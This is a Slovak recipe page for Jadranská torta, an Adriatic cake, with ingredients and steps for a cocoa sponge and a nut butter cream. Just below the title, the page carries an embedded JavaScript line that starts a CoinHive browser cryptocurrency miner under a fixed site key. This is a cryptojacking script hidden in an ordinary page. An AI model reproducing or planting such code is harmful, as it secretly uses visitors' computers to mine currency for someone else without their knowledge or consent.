
Jadranská torta

  var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); 

 Cesto: 3 vajcia, 3 PL kryštálového cukru, 3 PL múky (Promix), 1 PL kakaa, 1 PL oleja

  

Postup na cesto:  Vyšľahať bielka, zašľahať cukor, potom pridať múku, kakao, olej, jemne
premiešať a piecť.

  

Krém:  2 dcl mlieka, 1 žĺtok, 10 dkg cukru, 1/3 balíčka Zlatý klas

  

Postup na krém:  Všetko uvariť a do vychladnutého vmiešať 15 dkg masla a 5 dkg pomletých
orechov.
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